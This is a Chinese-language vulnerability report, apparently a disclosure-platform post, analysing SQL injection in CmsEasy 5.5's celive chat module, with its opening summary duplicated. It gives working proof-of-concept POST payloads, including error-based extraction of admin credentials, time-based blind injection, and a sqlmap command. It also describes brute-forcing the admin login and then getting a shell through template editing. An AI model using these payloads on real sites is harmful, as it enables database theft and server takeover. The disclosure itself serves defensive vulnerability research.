### 简要描述: CmsEasy官方8.2号,更新了CmsEasy_5.5_UTF-8_20140802.rar 并且发布了补丁CmsEasy_for_Uploads_20140802.rar 然后,下载了个最新的包,看了下,发现一处问题 这个问题引发多处SQL注入。 另附: 还有一个问题就是可以进行暴力注入,然后进后台拿shell。 ### 详细说明: CmsEasy有一个客服聊天模块celive 这里/celive/live/目录下的四个文件header.php,index.php,mainbox.php,send.php 都存在同样的问题,这里拿header.php举例。 文件/celive/live/header.php ``` <?php include('../include/config.inc.php'); include(CE_ROOT.'/include/celive.class.php'); $header = new celive(); $header->template(); $header->xajax_live(); $GLOBALS['template']->assign('ifexit','<script type="text/javascript"> function chat_unload() { if(event.clientX>document.body.clientWidth&&event.clientY<0||event.altKey) { xajax_EndChat(); } } </script>'); $GLOBALS['template']->assign('xajax_live',$xajax_live->getJavascript('')); $GLOBALS['template']->assign('operatorname',$_SESSION['operatorname']); $GLOBALS['template']->assign('dname',$_SESSION['dname']); $GLOBALS['template']->display('header.htm'); ?> ``` 这里调用了xajax_live函数...
### 简要描述: CmsEasy官方8.2号,更新了CmsEasy_5.5_UTF-8_20140802.rar 并且发布了补丁CmsEasy_for_Uploads_20140802.rar 然后,下载了个最新的包,看了下,发现一处问题 这个问题引发多处SQL注入。 另附: 还有一个问题就是可以进行暴力注入,然后进后台拿shell。 ### 详细说明: CmsEasy有一个客服聊天模块celive 这里/celive/live/目录下的四个文件header.php,index.php,mainbox.php,send.php 都存在同样的问题,这里拿header.php举例。 文件/celive/live/header.php ``` <?php include('../include/config.inc.php'); include(CE_ROOT.'/include/celive.class.php'); $header = new celive(); $header->template(); $header->xajax_live(); $GLOBALS['template']->assign('ifexit','<script type="text/javascript"> function chat_unload() { if(event.clientX>document.body.clientWidth&&event.clientY<0||event.altKey) { xajax_EndChat(); } } </script>'); $GLOBALS['template']->assign('xajax_live',$xajax_live->getJavascript('')); $GLOBALS['template']->assign('operatorname',$_SESSION['operatorname']); $GLOBALS['template']->assign('dname',$_SESSION['dname']); $GLOBALS['template']->display('header.htm'); ?> ``` 这里调用了xajax_live函数 文件/celive/include/celive.class.php ``` function xajax_live() { if (!$this->xajax_live_flag) { $this->xajax_live_flag=true; include_once(dirname(__FILE__).'/xajax.inc.php'); include_once(dirname(__FILE__).'/xajax.class.php'); global $xajax_live; $xajax_live=new xajax(); $xajax_live->setCharEncoding('utf-8'); $xajax_live->decodeUTF8InputOn(); $xajax_live->registerFunction('Request'); $xajax_live->registerFunction('Postdata'); $xajax_live->registerFunction('ChatHistory'); $xajax_live->registerFunction('LiveMessage'); $xajax_live->registerFunction('EndChat'); $xajax_live->registerFunction('GetAdminEndChat'); $xajax_live->processRequests(); } } ``` 这里调用了registerFunction函数跟进: 文件:/celive/include/xajax.class.php ``` function registerFunction($mFunction,$sRequestType=XAJAX_POST) { if (is_string($sRequestType)) { return $this->registerExternalFunction($mFunction,$sRequestType); } if (is_array($mFunction)) { $this->aFunctions[$mFunction[0]] = 1; $this->aFunctionRequestTypes[$mFunction[0]] = $sRequestType; $this->aObjects[$mFunction[0]] = array_slice($mFunction,1); } else { $this->aFunctions[$mFunction] = 1; $this->aFunctionRequestTypes[$mFunction] = $sRequestType; } } function registerExternalFunction($mFunction,$sIncludeFile,$sRequestType=XAJAX_POST) { $this->registerFunction($mFunction,$sRequestType); if (is_array($mFunction)) { $this->aFunctionIncludeFiles[$mFunction[0]] = $sIncludeFile; } else { $this->aFunctionIncludeFiles[$mFunction] = $sIncludeFile; } } ``` 这里用来注册函数,然后进行一些变量赋值 最后调用了processRequests函数,主要来分析一下这个函数 还是在文件/celive/include/xajax.class.php: ``` function processRequests() { //初始化一堆变量 $requestMode = -1; $sFunctionName = ""; $bFoundFunction = true; $bFunctionIsCatchAll = false; $sFunctionNameForSpecial = ""; $aArgs = array(); $sPreResponse = ""; $bEndRequest = false; $requestMode = $this->getRequestMode(); if ($requestMode == -1) return; //这两使用POST传入两个参数,一个xajax,代表函数名,一个xajaxargs,代表要传给xajax所代表的函数的参数,这个参数必须是一个数组,下面作分析 if ($requestMode == XAJAX_POST) { $sFunctionName = $_POST["xajax"]; if (!empty($_POST["xajaxargs"])) $aArgs = $_POST["xajaxargs"]; } else { header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header ("Last-Modified: ".gmdate("D, d M Y H:i:s") ." GMT"); header ("Cache-Control: no-cache, must-revalidate"); header ("Pragma: no-cache"); $sFunctionName = $_GET["xajax"]; if (!empty($_GET["xajaxargs"])) $aArgs = $_GET["xajaxargs"]; } if ($this->bErrorHandler) { $GLOBALS['xajaxErrorHandlerText'] = ""; set_error_handler("xajaxErrorHandler"); } //这里的if没有进入不用管 if ($this->sPreFunction) { if (!$this->_isFunctionCallable($this->sPreFunction)) { $bFoundFunction = false; $oResponse = new xajaxResponse(); $oResponse->addAlert("Unknown Pre-Function ".$this->sPreFunction); } } //这里的if也没有进入,不用管 if (array_key_exists($sFunctionName,$this->aFunctionIncludeFiles)) { ob_start(); echo $this->aFunctionIncludeFiles[$sFunctionName];//no input include_once($this->aFunctionIncludeFiles[$sFunctionName]); ob_end_clean(); } //这里开始判断POST提交进来的xajax代表的函数是否在$this->aFunctions代表的上面所注册的函数中,如果不在则退出 //$sFunctionName为POST进来的函数名,$this->aFunctions为之前注册的6个函数 if ($bFoundFunction) { $sFunctionNameForSpecial = $sFunctionName; if (!array_key_exists($sFunctionName,$this->aFunctions)) { //print_r($this->aFunctions);//registered function if ($this->sCatchAllFunction) { $sFunctionName = $this->sCatchAllFunction; $bFunctionIsCatchAll = true; } else { $bFoundFunction = false; $oResponse = new xajaxResponse(); $oResponse->addAlert("Unknown Function $sFunctionName."); } } } //下面继续判断 if ($bFoundFunction) { //这里判断POST进来的函数的参数值aArgs中的内容 for ($i = 0;$i <sizeof($aArgs);$i++) { if (get_magic_quotes_gpc() == 1 &&is_string($aArgs[$i])) { $aArgs[$i] = stripslashes($aArgs[$i]); } if (stristr($aArgs[$i],"<xjxobj>") != false) { $aArgs[$i] = $this->_xmlToArray("xjxobj",$aArgs[$i]); } else if (stristr($aArgs[$i],"<xjxquery>") != false) { $aArgs[$i] = $this->_xmlToArray("xjxquery",$aArgs[$i]); } else if ($this->bDecodeUTF8Input) { $aArgs[$i] = $this->_decodeUTF8Data($aArgs[$i]); } } //这里的if未进入,不用管 if ($this->sPreFunction) { $mPreResponse = $this->_callFunction($this->sPreFunction,array($sFunctionNameForSpecial,$aArgs)); if (is_array($mPreResponse) &&$mPreResponse[0] === false) { $bEndRequest = true; $sPreResponse = $mPreResponse[1]; } else { $sPreResponse = $mPreResponse; } if ($bEndRequest) $oResponse = $sPreResponse; } //这里继续判断 if (!$bEndRequest) { if (!$this->_isFunctionCallable($sFunctionName)) { $oResponse = new xajaxResponse();//no inout $oResponse->addAlert("The Registered Function $sFunctionName Could Not Be Found."); } //进入这里的else条件 else { if ($bFunctionIsCatchAll) { $aArgs = array($sFunctionNameForSpecial,$aArgs); } //这里真正的调用了POST进来的函数 $oResponse = $this->_callFunction($sFunctionName,$aArgs);//POST的内容进入这里 } //下面的就不用管了 if (@is_string($sResponse)) { $oResponse = new xajaxResponse(); $oResponse->addAlert("No XML Response Was Returned By Function $sFunctionName.\n\nOutput: ".$oResponse); } else if ($sPreResponse != "") { $oNewResponse = new xajaxResponse($this->sEncoding,$this->bOutputEntities); $oNewResponse->loadXML($sPreResponse); $oNewResponse->loadXML($oResponse); $oResponse = $sNewResponse; } } } ``` 从上面的分析得知,我们POST的内容已经进入了_callFunction函数 还是同一文件,来看看: ``` function _callFunction($sFunction,$aArgs) { if ($this->_isObjectCallback($sFunction)) { $mReturn = call_user_func_array($this->aObjects[$sFunction],$aArgs); } else { //进入else逻辑 //这里调用了POST传入的函数名,然后把POST的参数值传入该函数做参数,这里call_user_func_array的第二个参数的值必须为一个数组,这正是前面说的POST的内容到目前为止是一个数组 $mReturn = call_user_func_array($sFunction,$aArgs); } return $mReturn; } ``` 然后我们继续往下 现在来看看这里注册的函数: ``` Request Postdata ChatHistory LiveMessage EndChat GetAdminEndChat ``` 这里的6个函数使用了我们POST的内容的只有LiveMessage和GetAdminEndChat 来看看LiveMessage,文件/celive/include/xajax.inc.php: ``` function LiveMessage($a) { global $db; $sessionid = $_SESSION['sessionid']; $name = htmlspecialchars($a['name']); $email = htmlspecialchars($a['email']); $country = htmlspecialchars($a['country']); $phone = htmlspecialchars($a['phone']); $departmentid = htmlspecialchars($a['departmentid']); $message = htmlspecialchars($a['message']); $timestamp = time(); $ip = $_SERVER['REMOTE_ADDR']; $sql = "INSERT INTO `chat` (`sessionid`,`name`,`email`,`phone`,`departmentid`,`message`,`timestamp`,`ip`,`status`) VALUES('" . $sessionid . "','" . $name . "','" . $email . "','" . $phone . "','" . $departmentid . "','" . $message . "','" . $timestamp . "','" . $ip . "','2')"; $db->query($sql); $sql = "DELETE FROM `sessions` WHERE `id`='" . $sessionid . "'"; $db->query($sql); $text = "<?php echo $lang[shout_success]?>\n"; $objResponse = new xajaxResponse('utf-8'); $objResponse->addAssign('content', 'innerHTML', $text); $objResponse->redirect('../', 5); return $objResponse; } ``` 这里的$a就是我们POST进来的$aArgs,这里取得是$a的元素进入了SQL 如这里的$a['email'],$a['email']等,所以我们在POST $aArgs时,必须是一个二维数组了。 再看看GetAdminEndChat函数: ``` function GetAdminEndChat($chatid) { global $db; $objResponse = new xajaxResponse('utf-8'); $sql = "SELECT `status` FROM `chat` WHERE `id`='" . $chatid . "'"; @$result = $db->query($sql); if ($result[0]['status'] == 0) { $objResponse->script("alert('<?php echo $lang[connection]?>');window.parent.close();"); } return $objResponse; } ``` 这里$chatid进入了SQL,是一个一维数组 通过上面的分析得知,我们POST的内容进入了函数,进入了SQL 而且这个过程是没有过滤的,因为在celive模块,是一个独立的模块 没有使用全局的过滤,文件/celive/live/header.php中也没有引用全局过滤 最后进去SQL后,也是用celive自有的db模块,也没有过滤,最后导致SQL注入 最后在文件/celive/include/xajax.inc.php中的函数很多都存在注入 一部分是上面分析的6个,无需登录即可访问调用的函数 一部分是登陆后才能访问调用的函数,这些同样存在SQL注入问题,这里通过/celive/admin/live/header.php来进行调用: ``` include('../../include/config.inc.php'); include(CE_ROOT.'/include/admin/check.inc.php'); include(CE_ROOT.'/include/celive.class.php'); $admin_header = new celive(); $admin_header->template(); $admin_header->admin_xajax_live(); ``` admin_xajax_live函数也是进行注册函数,然后通过POST传入参数,调用函数。 ### 漏洞证明: 第一处SQL注入: ``` 链接: http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php POST: xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')# ``` 如图证明: [<img src="https://images.seebug.org/upload/201408/03113827f6458ee6b09df2b1644235e95f785a86.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/03113827f6458ee6b09df2b1644235e95f785a86.png) 第二处SQL注入: ``` 链接: http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php POST: xajax=GetAdminEndChat&xajaxargs[1]=1' and if(mid(user(),1,1)='r',sleep(10),1)# ``` 这里会延迟10秒返回 因为无视任何防御,这里的user(),可以换位任何sql语句,通过盲注来注入数据 利用脚本还是很快的,或者使用SQLmap证明: ``` python sqlmap.py -u "http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/index.php?action=1" --data "xajax=GetAdminEndChat&xajaxargs[1]=1" -p "xajaxargs[1]" --dbms "mysql" ``` 如图证明: [<img src="https://images.seebug.org/upload/201408/03114048d9ec8f8feee39a1fd1546a689b4ecece.png" alt="222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/03114048d9ec8f8feee39a1fd1546a689b4ecece.png) 第三处SQL注入: 此处需要登录 ``` 链接: http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/admin/live/header.php POST: xajax=EndChats&xajaxargs[1]=1' and if(mid(user(),1,1)='r',sleep(10),1)# ``` 第四处SQL注入: 此处需要登录 ``` 链接: http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/admin/live/header.php POST: xajax=AdminChatHistory&xajaxargs[1]=1' and if(mid(user(),1,1)='r',sleep(10),1)# ``` 等等 第五处暴力注入: ``` 链接: http://localhost/CmsEasy_5.5_UTF-8_20140802/celive/admin/login.php POST: submit=%E6%8F%90%E4%BA%A4&username=123&password=123&submit=+%E7%99%BB+%E9%99%86+ ``` [<img src="https://images.seebug.org/upload/201408/0311461106154c48d7cf0cf91f9ca34758f5c8c9.png" alt="333.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0311461106154c48d7cf0cf91f9ca34758f5c8c9.png) 这里登陆时,没有验证码,没有次数限制等任何防暴力注入处理。 导致可以暴力注入,而且这里的用户必须是管理员。 所以可以进一步暴力注入后,进入后台,编辑模板处拿shell。